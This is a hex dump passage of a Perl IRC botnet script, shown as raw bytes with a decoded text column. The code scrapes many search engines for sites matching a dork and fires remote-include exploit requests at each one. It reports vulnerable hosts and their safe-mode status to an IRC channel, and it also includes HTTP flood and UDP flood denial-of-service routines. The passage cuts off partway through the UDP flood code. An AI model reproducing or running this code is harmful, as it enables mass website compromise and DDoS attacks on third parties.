46784:	53	63	61	6E	02	03	31	32	5D	02	1F	03	20	02	03	32	47	03	34	6F	03	38	6F	03	32	67	03	33	6C	03	34	65	Scan12] 2G4o8o2g3l4e
46816:	03	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	67	6C	69	73	74	29	2E	22	02	1F	03	37	7[".scalar(@glist)."7
46848:	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	6D	79	20	40	6D	6C	69	73	74	3D	26	6D	73	6E	] Sites"); my @mlist=&msn
46880:	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	6D	79	20	40	61	73	6B	6C	69	73	74	3D	26	61	73	6B	28	24	64	($dork); my @asklist=&ask($d
46912:	6F	72	6B	29	3B	0D	0A	20	20	20	6D	79	20	40	61	6C	6C	69	73	74	3D	26	61	6C	6C	74	68	65	77	65	62	28	ork); my @allist=&alltheweb(
46944:	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	6D	79	20	40	61	6F	6C	6C	69	73	74	3D	26	61	6F	6C	28	24	64	6F	$dork); my @aollist=&aol($do
46976:	72	6B	29	3B	0D	0A	20	20	20	6D	79	20	40	6C	79	63	6F	73	3D	26	6C	79	63	6F	73	28	24	64	6F	72	6B	29	rk); my @lycos=&lycos($dork)
47008:	3B	0D	0A	20	20	20	6D	79	20	40	79	6C	69	73	74	3D	26	79	61	68	6F	6F	28	24	64	6F	72	6B	29	3B	0D	0A	; my @ylist=&yahoo($dork);
47040:	20	20	20	6D	79	20	40	6D	7A	6C	69	73	74	3D	26	6D	6F	7A	62	6F	74	28	24	64	6F	72	6B	29	3B	0D	0A	20	my @mzlist=&mozbot($dork);
47072:	20	20	6D	79	20	40	6D	61	6D	61	6C	69	73	74	26	6D	61	6D	6D	61	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	my @mamalist&mamma($dork);
47104:	20	6D	79	20	40	68	6C	69	73	74	3D	26	68	6F	74	62	6F	74	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	6D	my @hlist=&hotbot($dork); m
47136:	79	20	40	61	6C	74	6C	69	73	74	3D	26	61	6C	74	61	76	69	73	74	61	28	24	64	6F	72	6B	29	3B	0D	0A	20	y @altlist=&altavista($dork);
47168:	20	20	6D	79	20	40	73	6C	69	73	74	3D	26	73	65	61	72	63	68	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	my @slist=&search($dork);
47200:	6D	79	20	40	75	6C	69	73	74	3D	26	75	6F	6C	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	6D	79	20	40	66	my @ulist=&uol($dork); my @f
47232:	69	72	65	62	61	6C	6C	3D	26	66	69	72	65	62	61	6C	6C	28	24	64	6F	72	6B	29	3B	0D	0A	73	65	6E	64	72	ireball=&fireball($dork); sendr
47264:	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	aw($IRC_cur_socket, "PRIVMSG $pr
47296:	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	intl :4[4@3Multi-Scan12]1
47328:	32	02	1F	03	20	02	03	32	47	03	34	6F	03	38	6F	03	32	67	03	33	6C	03	34	65	03	20	02	1F	03	37	5B	03	2 2G4o8o2g3l4e 7[
47360:	02	1F	22	2E	73	63	61	6C	61	72	28	40	67	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	".scalar(@glist)."7] Sit
47392:	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	es"); sendraw($IRC_cur_socket,
47424:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	"PRIVMSG $printl :4[4@3Multi
47456:	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	4D	53	4E	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	-Scan12]12 MSN 7[".sca
47488:	6C	61	72	28	40	6D	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	lar(@mlist)."7] Sites");
47520:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	sendraw($IRC_cur_socket, "PRIVMS
47552:	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	G $printl :4[4@3Multi-Scan
47584:	31	32	5D	03	31	32	20	03	41	6C	6C	54	68	65	57	65	62	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	12]12 AllTheWeb 7[".scal
47616:	61	72	28	40	61	6C	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	ar(@allist)."7] Sites");
47648:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	sendraw($IRC_cur_socket, "PRIVMS
47680:	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	G $printl :4[4@3Multi-Scan
47712:	31	32	5D	03	31	32	20	03	41	73	6B	2E	63	6F	6D	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	12]12 Ask.com 7[".scalar
47744:	28	40	61	73	6B	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	73	(@asklist)."7] Sites"); s
47776:	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	endraw($IRC_cur_socket, "PRIVMSG
47808:	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	$printl :4[4@3Multi-Scan1
47840:	32	5D	03	31	32	20	03	41	4F	4C	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	61	6F	6C	2]12 AOL 7[".scalar(@aol
47872:	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	list)."7] Sites"); sendra
47904:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
47936:	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	ntl :4[4@3Multi-Scan12]12
47968:	20	03	4C	79	63	6F	73	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	6C	79	63	6F	73	29	Lycos 7[".scalar(@lycos)
48000:	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	."7] Sites"); sendraw($IR
48032:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
48064:	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	59	61	68	4[4@3Multi-Scan12]12 Yah
48096:	6F	6F	21	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	79	6C	69	73	74	29	2E	22	02	1F	oo! 7[".scalar(@ylist)."
48128:	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	7] Sites"); sendraw($IRC_cu
48160:	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	r_socket, "PRIVMSG $printl :4[
48192:	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	4D	6F	7A	42	6F	74	20	4@3Multi-Scan12]12 MozBot
48224:	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	6D	7A	6C	69	73	74	29	2E	22	02	1F	03	37	5D	7[".scalar(@mzlist)."7]
48256:	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	Sites"); sendraw($IRC_cur_s
48288:	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	ocket, "PRIVMSG $printl :4[4@
48320:	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	4D	61	6D	61	20	02	1F	03	37	5B	3Multi-Scan12]12 Mama 7[
48352:	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	6D	61	6D	61	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	".scalar(@mamalist)."7]
48384:	20	53	69	74	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	Sites"); sendraw($IRC_cur_sock
48416:	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	et, "PRIVMSG $printl :4[4@3M
48448:	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	48	6F	74	42	6F	74	20	02	1F	03	37	5B	03	ulti-Scan12]12 HotBot 7[
48480:	02	1F	22	2E	73	63	61	6C	61	72	28	40	68	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	".scalar(@hlist)."7] Sit
48512:	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	es"); sendraw($IRC_cur_socket,
48544:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	"PRIVMSG $printl :4[4@3Multi
48576:	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	41	6C	74	61	76	69	73	74	61	20	02	1F	03	37	5B	03	02	-Scan12]12 Altavista 7[
48608:	1F	22	2E	73	63	61	6C	61	72	28	40	61	6C	74	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	".scalar(@altlist)."7] Si
48640:	74	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	tes"); sendraw($IRC_cur_socket,
48672:	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	"PRIVMSG $printl :4[4@3Mult
48704:	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	53	65	61	72	63	68	5B	64	6F	74	5D	63	6F	6D	20	02	i-Scan12]12 Search[dot]com
48736:	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	73	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	7[".scalar(@slist)."7]
48768:	1F	20	53	69	74	65	73	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	Sites"); sendraw($IRC_cur_soc
48800:	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	ket, "PRIVMSG $printl :4[4@3
48832:	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	03	31	32	20	03	55	6F	4C	20	02	1F	03	37	5B	03	02	1F	Multi-Scan12]12 UoL 7[
48864:	22	2E	73	63	61	6C	61	72	28	40	75	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	".scalar(@ulist)."7] Sites
48896:	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	"); sendraw($IRC_cur_socket, "P
48928:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	RIVMSG $printl :4[4@3Multi-S
48960:	63	61	6E	02	03	31	32	5D	03	31	32	20	03	46	69	72	65	42	61	6C	6C	20	02	1F	03	37	5B	03	02	1F	22	2E	can12]12 FireBall 7[".
48992:	73	63	61	6C	61	72	28	40	66	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	scalar(@flist)."7] Sites")
49024:	3B	0D	0A	23	0D	0A	70	75	73	68	28	6D	79	20	40	74	6F	74	2C	20	40	67	6C	69	73	74	2C	20	40	6D	6C	69	; # push(my @tot, @glist, @mli
49056:	73	74	2C	20	40	61	6C	69	73	74	2C	20	40	61	6C	6C	69	73	74	2C	20	40	61	73	6B	6C	69	73	74	2C	20	40	st, @alist, @allist, @asklist, @
49088:	61	6F	6C	6C	69	73	74	2C	20	40	6C	79	63	6F	73	2C	20	40	79	6C	69	73	74	2C	20	40	6D	7A	6C	69	73	74	aollist, @lycos, @ylist, @mzlist
49120:	2C	20	40	6D	61	6D	61	6C	69	73	74	2C	20	40	68	6C	69	73	74	2C	40	61	6C	74	6C	69	73	74	2C	20	40	73	, @mamalist, @hlist,@altlist, @s
49152:	6C	69	73	74	2C	20	40	75	6C	69	73	74	2C	20	40	66	6C	69	73	74	20	29	3B	0D	0A	6D	79	20	40	70	75	6C	list, @ulist, @flist ); my @pul
49184:	69	74	69	3D	26	75	6E	69	63	69	28	40	74	6F	74	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	iti=&unici(@tot); sendraw($IRC_
49216:	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	02	1F	03	cur_socket, "PRIVMSG $printl
49248:	37	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	02	1F	03	20	20	52	65	73	75	7[4@3Multi-Scan12] Resu
49280:	6C	74	73	3A	20	54	6F	74	61	6C	3A	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	74	6F	74	lts: Total:7[".scalar(@tot
49312:	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	20	61	6E	64	20	43	6C	65	61	6E	65	64	3A	20	02	)."7] Sites and Cleaned:
49344:	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	70	75	6C	69	74	69	29	2E	22	02	1F	03	37	5D	03	7[".scalar(@puliti)."7]
49376:	02	1F	20	66	6F	72	20	24	64	6F	72	6B	20	22	29	3B	0D	0A	6D	79	20	24	75	6E	69	3D	73	63	61	6C	61	72	for $dork "); my $uni=scalar
49408:	28	40	70	75	6C	69	74	69	29	3B	0D	0A	66	6F	72	65	61	63	68	20	6D	79	20	24	73	69	74	6F	20	28	40	70	(@puliti); foreach my $sito (@p
49440:	75	6C	69	74	69	29	0D	0A	7B	0D	0A	24	63	6F	6E	74	61	74	6F	72	65	2B	2B	3B	0D	0A	69	66	20	28	24	63	uliti) { $contatore++; if ($c
49472:	6F	6E	74	61	74	6F	72	65	20	25	31	30	30	3D	3D	30	29	7B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	ontatore %1 == ){ sendraw($IRC
49504:	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	02	1F	_cur_socket, "PRIVMSG $printl
49536:	03	37	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	02	1F	03	20	45	78	70	6C	7[4@3Multi-Scan12] Expl
49568:	6F	69	74	69	6E	67	20	20	02	1F	03	37	5B	03	02	1F	22	2E	24	63	6F	6E	74	61	74	6F	72	65	2E	22	02	1F	oiting 7[".$contatore."
49600:	03	37	5D	03	02	1F	20	20	6F	66	20	20	02	1F	03	37	5B	03	02	1F	22	2E	24	75	6E	69	2E	20	22	02	1F	03	7] of 7[".$uni. "
49632:	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	7D	0D	0A	69	66	20	28	24	63	6F	6E	74	61	74	6F	72	7] Sites"); } if ($contator
49664:	65	3D	3D	24	75	6E	69	2D	31	29	7B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	e==$uni-1){ sendraw($IRC_cur_so
49696:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	02	1F	03	37	5B	02	03	34	40	cket, "PRIVMSG $printl 7[4@
49728:	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	02	1F	03	20	46	69	6E	69	73	68	65	64	20	66	6F	3Multi-Scan12] Finished fo
49760:	72	20	20	24	64	6F	72	6B	22	29	3B	0D	0A	7D	0D	0A	23	23	23	20	50	72	69	6E	74	20	43	4D	44	20	61	6E	r $dork"); } ### Print CMD an
49792:	64	20	54	45	53	54	20	43	4D	44	23	23	23	0D	0A	6D	79	20	24	74	65	73	74	3D	22	68	74	74	70	3A	2F	2F	d TEST CMD### my $test="http://
49824:	22	2E	24	73	69	74	6F	2E	24	62	75	67	2E	24	69	64	2E	22	3F	22	3B	0D	0A	6D	79	20	24	70	72	69	6E	74	".$sito.$bug.$id."?"; my $print
49856:	3D	22	68	74	74	70	3A	2F	2F	22	2E	24	73	69	74	6F	2E	24	62	75	67	2E	24	63	6D	64	2E	22	3F	22	3B	0D	="http://".$sito.$bug.$cmd."?";
49888:	0A	23	23	23	20	45	6E	64	20	6F	66	20	50	72	69	6E	74	20	43	4D	44	20	61	6E	64	20	54	45	53	54	20	43	### End of Print CMD and TEST C
49920:	4D	44	23	23	23	0D	0A	6D	79	20	24	72	65	71	3D	48	54	54	50	3A	3A	52	65	71	75	65	73	74	2D	3E	6E	65	MD### my $req=HTTP::Request->ne
49952:	77	28	47	45	54	3D	3E	24	74	65	73	74	29	3B	0D	0A	6D	79	20	24	75	61	3D	4C	57	50	3A	3A	55	73	65	72	w(GET=>$test); my $ua=LWP::User
49984:	41	67	65	6E	74	2D	3E	6E	65	77	28	29	3B	0D	0A	24	75	61	2D	3E	74	69	6D	65	6F	75	74	28	34	29	3B	0D	Agent->new(); $ua->timeout(4);
50016:	0A	6D	79	20	24	72	65	73	70	6F	6E	73	65	3D	24	75	61	2D	3E	72	65	71	75	65	73	74	28	24	72	65	71	29	my $response=$ua->request($req)
50048:	3B	0D	0A	69	66	20	28	24	72	65	73	70	6F	6E	73	65	2D	3E	69	73	5F	73	75	63	63	65	73	73	29	20	7B	0D	; if ($response->is_success) {
50080:	0A	6D	79	20	24	72	65	3D	24	72	65	73	70	6F	6E	73	65	2D	3E	63	6F	6E	74	65	6E	74	3B	0D	0A	69	66	28	my $re=$response->content; if(
50112:	24	72	65	20	3D	7E	20	2F	4D	69	63	32	32	2F	20	26	26	20	24	72	65	20	3D	7E	20	2F	75	69	64	3D	2F	29	$re =~ /Mic22/ && $re =~ /uid=/)
50144:	7B	0D	0A	6D	79	20	24	68	73	3D	67	65	74	68	73	28	24	70	72	69	6E	74	29	3B	20	24	68	6F	73	74	73	7B	{ my $hs=geths($print); $hosts{
50176:	24	68	73	7D	2B	2B	3B	0D	0A	69	66	28	24	68	6F	73	74	73	7B	24	68	73	7D	3D	3D	22	31	22	29	7B	0D	0A	$hs}++; if($hosts{$hs}=="1"){
50208:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	sendraw($IRC_cur_socket, "PRIVMS
50240:	47	20	24	70	72	69	6E	74	6C	20	02	1F	03	37	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	G $printl 7[4@3Multi-Scan
50272:	03	31	32	5D	02	1F	03	20	20	53	61	66	65	20	4D	6F	64	65	20	3D	20	4F	46	46	20	3A	2E	20	7C	20	56	75	12] Safe Mode = OFF :. \| Vu
50304:	6C	6E	3A	20	20	24	70	72	69	6E	74	20	22	29	3B	0D	0A	7D	7D	0D	0A	65	6C	73	69	66	28	24	72	65	20	3D	ln: $print "); }} elsif($re =
50336:	7E	20	2F	4D	69	63	32	32	2F	29	0D	0A	7B	0D	0A	6D	79	20	24	68	73	3D	67	65	74	68	73	28	24	70	72	69	~ /Mic22/) { my $hs=geths($pri
50368:	6E	74	29	3B	20	24	68	6F	73	74	73	7B	24	68	73	7D	2B	2B	3B	0D	0A	69	66	28	24	68	6F	73	74	73	7B	24	nt); $hosts{$hs}++; if($hosts{$
50400:	68	73	7D	3D	3D	22	31	22	29	7B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	hs}=="1"){ sendraw($IRC_cur_soc
50432:	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	02	1F	03	37	5B	02	03	34	40	03	ket, "PRIVMSG $printl 7[4@
50464:	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	02	1F	03	20	20	53	61	66	65	20	4D	6F	64	65	20	3D	3Multi-Scan12] Safe Mode =
50496:	20	20	4F	4E	20	3A	2E	20	7C	20	56	75	6C	6E	3A	20	20	24	70	72	69	6E	74	20	20	22	29	3B	0D	0A	7D	7D	ON :. \| Vuln: $print "); }}
50528:	0D	0A	7D	7D	7D	0D	0A	65	78	69	74	3B	0D	0A	7D	7D	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	}}} exit; }}} #############
50560:	23	23	23	23	23	23	23	23	23	0D	0A	23	45	6E	64	20	6F	66	20	4D	75	6C	74	69	53	43	41	4E	4E	45	52	20	######### #End of MultiSCANNER
50592:	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	# ###################### #####
50624:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	20	20	48	54	54	50	46	6C	6F	################# # HTTPFlo
50656:	6F	64	20	20	20	20	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	od # #####################
50688:	23	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	68	74	# if ($funcarg =~ /^ht
50720:	74	70	66	6C	6F	6F	64	5C	73	2B	28	2E	2A	29	5C	73	2B	28	5C	64	2B	29	2F	29	20	7B	0D	0A	20	20	20	20	tpflood\s+(.*)\s+(\d+)/) {
50752:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
50784:	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	33	48	54	54	"PRIVMSG $printl :4\|12.:3HTT
50816:	50	20	44	44	6F	53	03	31	32	3A	2E	03	34	7C	03	31	32	20	41	74	74	61	63	6B	69	6E	67	20	03	34	20	22	P DDoS12:.4\|12 Attacking 4 "
50848:	2E	24	31	2E	22	20	03	31	32	20	6F	6E	20	70	6F	72	74	20	38	30	20	66	6F	72	20	03	34	20	22	2E	24	32	.$1." 12 on port 8 for 4 ".$2
50880:	2E	22	20	03	31	32	20	73	65	63	6F	6E	64	73	20	2E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	." 12 seconds .");
50912:	20	6D	79	20	24	69	74	69	6D	65	20	3D	20	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	my $itime = time;
50944:	6D	79	20	28	24	63	75	72	5F	74	69	6D	65	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	63	75	my ($cur_time); $cu
50976:	72	5F	74	69	6D	65	20	3D	20	74	69	6D	65	20	2D	20	24	69	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	r_time = time - $itime;
51008:	20	20	20	20	20	77	68	69	6C	65	20	28	24	32	3E	24	63	75	72	5F	74	69	6D	65	29	7B	0D	0A	20	20	20	20	while ($2>$cur_time){
51040:	20	20	20	20	20	20	20	20	20	20	20	24	63	75	72	5F	74	69	6D	65	20	3D	20	74	69	6D	65	20	2D	20	24	69	$cur_time = time - $i
51072:	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	73	6F	63	6B	65	74	time; my $socket
51104:	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	74	3A	3A	49	4E	45	54	2D	3E	6E	65	77	28	70	72	6F	74	6F	3D	3E	= IO::Socket::INET->new(proto=>
51136:	27	74	63	70	27	2C	20	50	65	65	72	41	64	64	72	3D	3E	24	31	2C	20	50	65	65	72	50	6F	72	74	3D	3E	38	'tcp', PeerAddr=>$1, PeerPort=>8
51168:	30	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	72	69	6E	74	20	24	73	6F	63	6B	65	); print $socke
51200:	74	20	22	47	45	54	20	2F	20	48	54	54	50	2F	31	2E	31	5C	72	5C	6E	41	63	63	65	70	74	3A	20	2A	2F	2A	t "GET / HTTP/1.1\r\nAccept: /
51232:	5C	72	5C	6E	48	6F	73	74	3A	20	22	2E	24	31	2E	22	5C	72	5C	6E	43	6F	6E	6E	65	63	74	69	6F	6E	3A	20	\r\nHost: ".$1."\r\nConnection:
51264:	4B	65	65	70	2D	41	6C	69	76	65	5C	72	5C	6E	5C	72	5C	6E	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	Keep-Alive\r\n\r\n";
51296:	20	20	20	20	20	63	6C	6F	73	65	28	24	73	6F	63	6B	65	74	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	close($socket);
51328:	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	} sendraw($IRC_cu
51360:	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	r_socket, "PRIVMSG $printl :4\|
51392:	31	32	2E	3A	03	33	48	54	54	50	20	44	44	6F	53	03	31	32	3A	2E	03	34	7C	03	31	32	20	41	74	74	61	63	12.:3HTTP DDoS12:.4\|12 Attac
51424:	6B	69	6E	67	20	64	6F	6E	65	20	03	34	20	22	2E	24	31	2E	22	2E	22	29	3B	0D	0A	20	20	20	20	20	20	20	king done 4 ".$1.".");
51456:	20	20	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	} ###################### #
51488:	45	6E	64	20	6F	66	20	48	54	54	50	46	6C	6F	6F	64	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	End of HTTPFlood # ###########
51520:	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	########### ###################
51552:	23	23	23	0D	0A	23	20	20	20	20	20	55	44	50	46	6C	6F	6F	64	20	20	20	20	20	20	20	23	0D	0A	23	23	23	### # UDPFlood # ###
51584:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	20	20	20	20	20	20	20	20	20	69	66	################### if
51616:	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	75	64	70	66	6C	6F	6F	64	5C	73	2B	28	2E	2A	29	5C	($funcarg =~ /^udpflood\s+(.*)\
51648:	73	2B	28	5C	64	2B	29	5C	73	2B	28	5C	64	2B	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	s+(\d+)\s+(\d+)/) {
51680:	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	sendraw($IRC_cur_socket, "PRIVM
51712:	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	33	55	44	50	20	44	44	6F	53	03	31	SG $printl :4\|12.:3UDP DDoS1
51744:	32	3A	2E	03	34	7C	03	31	32	20	41	74	74	61	63	6B	69	6E	67	20	03	34	20	22	2E	24	31	2E	22	20	03	31	2:.4\|12 Attacking 4 ".$1." 1
51776:	32	20	77	69	74	68	20	03	34	20	22	2E	24	32	2E	22	20	03	31	32	20	4B	62	20	50	61	63	6B	65	74	73	20	2 with 4 ".$2." 12 Kb Packets
51808:	66	6F	72	20	03	34	20	22	2E	24	33	2E	22	20	03	31	32	20	73	65	63	6F	6E	64	73	2E	22	29	3B	0D	0A	20	for 4 ".$3." 12 seconds.");
51840:	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	28	24	64	74	69	6D	65	2C	20	25	70	61	63	6F	74	65	73	29	my ($dtime, %pacotes)
